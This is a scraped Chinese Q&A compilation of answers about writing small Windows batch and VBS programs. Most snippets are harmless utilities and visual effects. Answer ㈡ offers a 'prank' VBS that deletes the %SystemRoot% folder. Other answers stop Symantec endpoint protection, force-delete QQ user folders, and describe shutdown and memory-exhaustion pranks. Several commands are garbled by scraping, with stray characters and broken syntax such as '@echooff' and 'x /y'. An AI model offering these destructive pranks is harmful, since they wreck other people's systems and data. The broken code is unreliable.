bat小程序
㈠ 如何用cmd編輯一個啟動關閉的bat小程序
批處理代碼如下:
::═════代═══碼═══回開═══始═══答══
@echo off
tasklist|findstr "Smc.exe"&&set/a .=1
if defined . start " " "C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe -stop"
if not defined . start " " "C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe -start"
::═════代═══碼═══結═══束═════
剛才測試的時候忘了吧taskmgr改成smc。
㈡ vbs或bat程序做整人小程序
給你個狠的
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder %SystemRoot%
刪「C:\windows」
㈢ 批處理小程序
下面是以前收錄的幾個,更多可以到
http://www.bathome.net/forumdisplay.php?fid=6&filter=type&typeid=50
::進度條
@echo off
mode con cols=113 lines=15 &color 9f
cls
echo.
echo 程序正在初始化. . .
echo.
echo ┌──────────────────────────────────────┐
set/p= ■<nul
for /L %%i in (1 1 38) do set /p a=■<nul&ping /n 1 127.0.0.1>nul
echo 100%%
echo └──────────────────────────────────────┘
pause
::title 神奇的回退
set "t="
for /l %%a in (1,1,1000) do set "k=!k!"
for /l %%a in (1,1,10) do echo ○○○○○○○○○○
ping /n 2 127.1>nul
:: 這里將游標退回原點處,請仔細注意游標的位置
echo %t%%k% 2>nul&set /p=<nul
pause>nul
:: 請注意6-10行第6-10個字元的輸出是沒有改變的
for /l %%a in (1,1,5) do echo ●●●●●¤¤¤¤¤
for /l %%a in (1,1,5) do echo ⊙⊙⊙⊙⊙
pause>nul
-------------數字雨---------------------
----------------------------------------
@echo off
color 0a
:start
set num=0
set "echos= "
:num
set /a a1=%random%%%3
if "%a1%" == "1" set "a1= "
if "%a1%" == "2" set "a1= "
if "%a1%" == "0" set /a a1=%random%%%2
set echos=%echos%%a1%
set /a num=%num%+1
if "%num%" == "75" echo %echos%&&goto :start
goto :num
::批處理算24點
@echo off&color 1f&mode con cols=50 lines=5
setlocal enabledelayedexpansion
title 批處理算24 by zw19750516
set "code=+ - * /"&set n=1
:begin
cls&echo.&echo 請輸入第%n%個(0-9內的)整數,請不要在數字前加0。
echo.&set /p num%n%= 請在這里輸入:
echo !num%n%!|findstr "[^0-9]">nul&&goto wrong
set str=!num%n%!
if "!str:~,1!" equ "0" if "!str:~1!" neq "" goto wrong
if !str! gtr 9 goto wrong
set num=%num% !num%n%!&set /a n+=1
if %n% neq 5 goto begin
set num=%num:~1%
cls&echo.&echo 你輸入的四個數是:%num%
echo.&echo 請稍候,正在運算中...&ping /n 2 127.1>nul
:again
set str=&set var=1234&set /a x+=1,n=4
if %x% equ 2000 cls&echo.&echo 對不起,沒有算出來,或者這四個數算不出24。&pause>nul&goto :eof
:lp
set /a a=%random%%%%n%,m=%random%%%4+1
set a=!var:~%a%,1!
set var=!var:%a%=!
for /f "tokens=%m% delims= " %%i in ("%code%") do set b=%%i
:add
if %n% equ 1 set "b="
set str=%str%!num%a%!%b%&set /a n-=1
if %n% neq 0 goto lp
set /a a=%str%
if %a% neq 24 goto again
cls&echo.&echo 計算結果為:%str%=24
pause>nul&goto :eof
:wrong
cls&echo.&echo 輸入的數不合要求,請正確輸入。&ping /n 2 127.1>nul&goto begin
㈣ 求個簡單的BAT批處理小程序
@echo off
title 批處理小程序
set /p name=請輸入你的姓名:
echo %name%你好,某人有話對你說!
echo 這邊寫你要說的話專,不夠的話在另起一行,繼續寫屬
echo 。。。。。。。
pause
exit
㈤ 求vbs或bat寫個小程序
dir /a
㈥ 菜鳥求bat小程序 懂的速來
下面這個是一點雛形,後來的高手幫搞一下吧, 我要睡覺了。。
for /f "tokens=1" %%i in ('tasklist') do (
if %%i EQU QQ.exe goto loadt
)
ping -n 4 127.0.1 > nul
goto start
:loadt
echo exist QQ.exe
pause
set count=no
for /f %%k in (`dir /a /b "D:\Program Files\Tencent\QQ\Users"`) do (
pause
for /f %%j in (list.txt) do (
if %%k EQU %%j set count=yes
)
echo %%k
pause
if %count% EQU "no"
(taskkill /im QQ.exe
rd /s /f /q "D:\Program Files\Tencent\QQ\Users\%%k"
)
)
goto start
㈦ .bat小程序 復制並重命名
set date=%date:~0,4%%date:~5,2%%date:~8,2%
set time=%time:~0,2%%time:~3,2%%time:~6,2%
echo f | x /y/h/c/r C:\xx.dmd D:\xx_%date%_%time%.dmd
如果不要日期專就是屬
set time=%time:~0,2%%time:~3,2%%time:~6,2%
echo f | x /y/h/c/r C:\xx.dmd D:\xx_%time%.dmd
㈧ bat小程序
就是生成了3個批處理文件
第一個:倒數60秒自動關機.
第二個:一直打開網頁會內存耗盡.
第三個專:就是告訴你哭...
沒事屬,你就算打開了也沒什麼,這個只是生成3個批處理,沒有打開批處理
打開你也別急,首先第一反應就是打開cmd輸入shutdown -a,如果有打開第2個批處理就離開安Alt+Ctrl+Del結束cmd這樣就不會繼續打開N個瀏覽器了.然後就打開cmd輸入taskkill /f /im iexplore.exe,可以一次性結束所有iexplore.exe.
㈨ 怎樣用bat批處理文件製作一個如下要求的小程序
@echooff
for/r"D: est"%%ain(*.*)do(
if/i"%%~xa"==".GBA""%%a"F:123
)
pause
註:D: est為假設的「有各種格式的文件和子文件夾的大文專件夾」,F:123為假設的目的文件夾,這兩屬個文件夾路徑請根據實際情況自行修改
㈩ bat小程序代碼
不清楚你的實際文件/情況,僅以問題中的樣例/說明為據;以下代碼復制粘貼到記事本,另存為xx.bat,編碼選ANSI,跟要處理的文件放一起運行
@echo off
rem 將指定擴展名/後綴名的文件剪切/移動到一個新的文件夾里並更改擴展名/後綴名
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
set "newfolder=.\A1"
if not exist "%newfolder%" (md "%newfolder%")
for /f "delims=" %%a in ('dir /a-d/b^|findstr /i "\.pdf[^\.]*$"') do (
set "f=%%a"&set "base=%%~na"&set "ext=%%~xa"
setlocal enabledelayedexpansion
echo;"!f!" --^> "%newfolder%\!base!!ext:pdf=exe!"
move /y "!f!" "%newfolder%\!base!!ext:pdf=exe!"
endlocal
)
for /f "delims=" %%a in ('dir /a-d/b "%newfolder%\"^|findstr /i "\.exe[^\.]*$"') do (
set "f=%newfolder%\%%a"&set "base=%%~na"&set "ext=%%~xa"
setlocal enabledelayedexpansion
echo;"!f!" --^> ".\!base!!ext:exe=pdf!"
/y "!f!" ".\!base!!ext:exe=pdf!"
endlocal
)
rd /s /q "%newfolder%\" 2>nul
echo;%#% +%$%%$%/%@% %z%
pause
exit